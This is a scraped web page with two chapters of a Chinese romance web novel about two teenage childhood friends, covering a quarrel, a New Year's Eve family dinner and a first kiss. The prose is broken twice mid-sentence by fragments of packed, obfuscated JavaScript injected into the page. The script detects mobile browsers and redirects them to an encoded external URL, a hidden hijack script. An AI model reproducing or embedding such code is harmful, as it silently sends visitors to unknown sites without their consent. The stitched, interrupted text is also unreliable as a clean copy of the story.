RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15085895|162243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严妄任性道:“就跟我睡。” 骆危楼蹙眉,“严妄,你是不是——” 严妄瞪着他,“所以你告白了,我们俩就不是十几年的朋友了?我不给你答复、不说喜欢你,你就要和我绝交吗?” 说断就断,那十几年算什么? 俩人站在客厅沙发旁,离去房间的过道有几步距离。 这个位置说话,房间里很难听得清,要是门关得严,基本听不到。 说完,严妄忽然有点委屈。 他又没有拒绝,只是还在认真地想,骆危楼就着急忙慌地要把他撇开。 什么嘛。 那干脆就不要再跟他待一起就好了啊。 严妄气不过地磨了磨后牙,眼圈一下红了,抬脚转身就往房间走。 骆危楼站在原地,看着没关上的房门,无奈叹了一声跟上去。 一进房间,枕头就飞了过来。 骆危楼接住枕头,看向趴在床上的严妄,走过去拍拍他头发,“脾气好大啊,严妄同学。” 从小到大,就跟个小炮仗一样。 声音大、威力小,而且还一点就着。 严妄甩甩头,不想理他。 “跟小时候一模一样。”骆危楼坐在床边,把枕头放在他们中间,视线就落在地板上。 他知道严妄在想什么,因为他们认识太久了。 就是因为知道,所以在意识到对严妄感情变质后,他一直很克制。 然而,感情不是他想克制就可以的。 告白两个字听着简单,成功了还好,失败呢? 真就断绝关系,不再往来? 不太可能。 他放不下严妄,更放不下十几年来的朝夕相处。 “……骆危楼,你会离开吗?”严妄忽然闷声问。 骆危楼一怔,扭头诧异地去看严妄,发现他在哭。 严妄的眼泪对他来说是杀器,会丧失掉一切的理智和判断,“不会。” 他伸手抹掉严妄的眼泪,“就算你拒绝我,也不会。” 严妄眼泪掉得更厉害,觉得骆危楼在骗人。 爸妈没离开前也是这么说的,可最后还是走了。 所以骆危楼也一样,迟早会走。 31.第 31 章 严妄父母才走的那几年,严妄哭得挺多的,每回哭都悄悄的,不敢让外公外婆知道。 因为他知道,自己伤心,他们也一样难过。 后来上了高中,严妄才不再哭了,连偷摸的时候都少。 除夕前一晚,为了才萌芽的感情哭成那样,第二天严妄睁眼的时候,感觉到眼皮肿的,立即蒙在被子里,不想起。 在骆危楼面前哭得像个傻逼一样,好丢人。 有没有什么能让人短暂失忆的办法,他现在就要知道。 然而世界上暂时没有这项技术,失忆的发生大多都是偶然。 在严妄蒙上被子决定暂时装死的下一秒,骆危楼就推开房间门,直接拉开被子,把人挖了出来。 “醒了?”骆危楼语气是问,但表情是确定。 明知故问而已。 严妄翻了个身,猛地坐起来,“你烦不烦?” 骆危楼松手,被子掉回去,“挺烦的。” 严妄刚想回嘴,又被骆危楼下一句堵回去,“昨天有人抱着我哭了半小时,还得大半夜洗衣服。” 严妄:“……” 有的人,就不应该长嘴。 “饺子好了,外婆让我来叫你。”骆危楼适时浇灭严妄的怒气,指腹在他眼皮处摩挲。 “用热帕子捂一下,能舒服点。” 严妄微抬起脸,“肿得很明显吗?” 骆危楼:“还好。” “那就好,不然外婆他们又要担心了。”严妄松了口气。 - 陆舍青不回来过除夕,虽然有一点遗憾,但年还是要好好过。 中午吃完饺子,江杉和杨孟生就着手把年夜饭的菜准备了,鱼、虾、螃蟹还有鸡。 该炖的炖上,该收拾的收拾干净。 等忙完还有空歇会儿,到时间下锅炒就行。 家里年夜饭一直都是江杉和杨孟生操持,严妄和骆危楼只用打下手就好。 一家四口齐上阵,下午四点多就开了饭。 十二道菜,荤素搭配各种做法,摆了满满一桌。 姜宁瞥了眼电视里正在放的春晚后台直播,举起杯子。 看他举杯,其他三个也一起举了起来。 “干杯!” “新年快乐啊!” 严妄一口喝掉了半杯雪碧,刚想再喝,被骆危楼挡了下。 眼神立即扫过去,“又不是酒。” 骆危楼抬抬下巴,示意他看蒸的大闸蟹。 “一会儿蟹凉了。” “哦对!”严妄立即放下杯子,夹了一只蟹在碗里,“祝外公外婆身体健康!” 江杉望着他,一脸慈爱和欣慰,“那祝妄崽和小楼今年学业进步、身体健康,要是能考上自己心仪的大学就更好了。” “对对,最主要的是身体健康,大学尽力就好。”杨孟生放下杯子,“你们能好好长大,我们就高兴了。” 严妄重重地嗯了声,“我马上就成年,算是平安长大了吧!” 已经成年的骆危楼在旁边不语,神情却变得温和,“谢谢外公外婆。” 闻言江杉眼神微动,心里又感慨又替他难过。 严妄父母走得早,但在世的时候一直都很爱严妄。可骆危楼不一样,父母都在,却从三岁起一个团圆年都过不了,还都忙得顾不上他。 “咱们一家好好过。”严妄咬着蟹腿,“一大桌菜,你们不吃就全进我肚子里。” 骆危楼瞥他,“你要能吃完,跟饕餮也没什么差别。” 严妄眯起眼,腮边气鼓鼓地瞪他,“要你管。” 那一点点因为两家人过去的怅然,被严妄几句话搅散。 大过年的,喜庆一点好,听听春晚后台直播的音乐都那么喜庆。 年夜饭讲究一个年年有余,四个人不用特地留,一桌菜都剩了不少。 两家的亲戚都不在江舟市,而且年三十各有各的去处,拜年也要等到初二初三。 吃过饭,四个人就拿出扑克,一边打牌一边看春晚。 严妄看着骆危楼扔出来的六,眼睛一亮,迅速把手里最后一张牌扔出去。 “哈!我跑完了!快快快,一人一块钱!” 江杉和杨孟生爽快给了他一个红包,“不玩了不玩了,小楼一直给你喂牌。” 严妄接过红包,喜滋滋地收进口袋,“你们玩不起啊,他才没给我喂牌,还想抢我的红包。” 骆危楼:“……” “对,惦记你那些红包。” 严妄抬抬下巴,“你们看,我就说吧。” 老两口叹了一声,觉得严妄真是被惯坏了。 责任大半还在骆危楼,打小就惯他。 “你还玩吗?我们俩——”严妄问骆危楼,话说一半就被打断。 是骆危楼的手机响了,有人给他打电话。 严妄抿唇,不知道为什么紧张起来。 “我爸电话,我去接一下。”骆危楼拿着手机站起来,走到阳台那边。 他还以为是陆舍青打来的,是骆一州反而松了口气。 严妄听到是骆一州,撇撇嘴角,掏出一沓红包,一个个拆开玩。 眼睛不时往阳台瞄去。 电视里正在演小品,江杉和杨孟生扶了扶眼镜,看得认真,懒得管两个孩子玩什么。 严妄头一次觉得家里电视声音好大,大到他听不清骆危楼和电话那边的骆一州说了什么。 皱眉?是骆一州教育他了? 那抿唇是什么意思,不高兴了吗? 还有握着手机越来越紧的手,是在生气了吧。 不知不觉中,严妄心思都落在了骆危楼身上,耳边电视机的声音远去,他慢慢地发现,他好像能听到骆危楼说什么了。 朦朦胧胧的,似乎跟填志愿有关。 骆一州还真是不死心,为什么一个不负责任的男人,却指望被他抛下的儿子给他长脸? 头一次,严妄很生气。 不光是骆一州,还有陆舍青,哪怕他一直很尊敬陆舍青。 但骆危楼的人生,就不能交给他自己决定吗? 反正他们也没管过骆危楼。 骆危楼是个人,又不是物品,被他们争来争去的。 “一直盯着我,不累吗?”骆危楼挂了电话进来,就见严妄看着阳台走神。 他真的很佩服严妄,这时候也能走神。 连他进来了都没察觉。 严妄抬头看他,倏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128254|162243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然回神。 “打完了?” 骆危楼嗯了声,“还想继续玩牌?” 严妄摇头,把红包胡乱塞到口袋里,站起来拉住他手腕,“我们出去放烟花,零点前回来!” 不管老两口听没听见,拉着人就往外跑。 “哎!你们外套穿好,别冻感冒了!” 骆危楼不知道严妄要去哪,但门在身后关上,明亮的光源也随之消失。 楼道的灯仿佛坏了一样,他们跑下楼的脚步声仓促而杂乱,也没能唤起平时昏暗的灯光。 严妄拉着骆危楼的手腕,手心热出了汗。 从单元楼出来后,立即拐进了旁边骆危楼家的单元门。 一楼两户人家的门都紧闭着,家里也都关着灯。 不一样的是,骆危楼家是没人,对面那家是一家三口去了外地长辈家里过年。 老式筒子楼的隔音很好,至少在骆危楼被严妄拉着躲进楼梯后狭窄的空间时,那些开得很大的电视声、玩闹声、麻将声都被摒除在外。 相反的,衣服摩擦的动静,呼吸变化的节奏,还有心跳,都变得异常明显。 严妄抓着骆危楼衣领,眼睛定定地看着他,“骆危楼,你是不是喜欢我?” 骆危楼沉默了几秒,“是。” 严妄呼吸一顿,然后问:“是很喜欢那种对吗?是恋人之间的喜欢,不是因为我们认识太久,在一起太久,才误以为是的喜欢。” 骆危楼皱了皱眉,往前迈一步,几乎是把严妄挤到了墙上,伸手护着他的手,“严妄,你可以拒绝我,但没必要羞辱我。” 他笑了声,“知道我看的是什么片子吗?两个男的,然后我梦到的另一个人是你。” 他对严妄的感情,太复杂了。 想保护他,让他一直和现在一样干净。但又想弄脏他,看着他哭。 骆危楼觉得他大概是遗传了骆一州骨子里的劣根性,又或者他们一家人都是这样。 心里的阴暗面,完全拿不出手。 扭曲、变.态,控制欲强到没办法生活在一个空间里。 当然,骆一州还多了一项,是个彻头彻尾的渣男,不负责任又企图让别人受他控制。 严妄不知道骆危楼在想什么,但他听懂了。 是喜欢,是带着欲.望和占有欲的喜欢。 他没喜欢过别人,从小到大待在一起最久的人说喜欢他,这超出了他的思考范围。 所以花了很长时间来想。 不过他想清楚了。 严妄盯着骆危楼,抓起他的手放到自己心口,想都没想凑过去吻住他。 说是吻,更像是两片唇贴上去。 他不会接吻,甚至都没什么理论知识。 骆危楼眼睛瞬间睁大,瞳孔猛地紧缩,连心脏也像是被一只手攥住。 严妄闭了闭眼睛,很快退开,不知道是冷还是紧张,牙齿都在发颤。 黑暗里,他几乎看不清骆危楼的脸。 可莫名的,他觉得自己看清了他每一个表情变化。 灰尘和霉味布满潮湿的空间,严妄脸上发烫,指尖微微蜷着,直视面前人的眼睛,“骆危楼,我喜欢你。” “我会对你负责的。”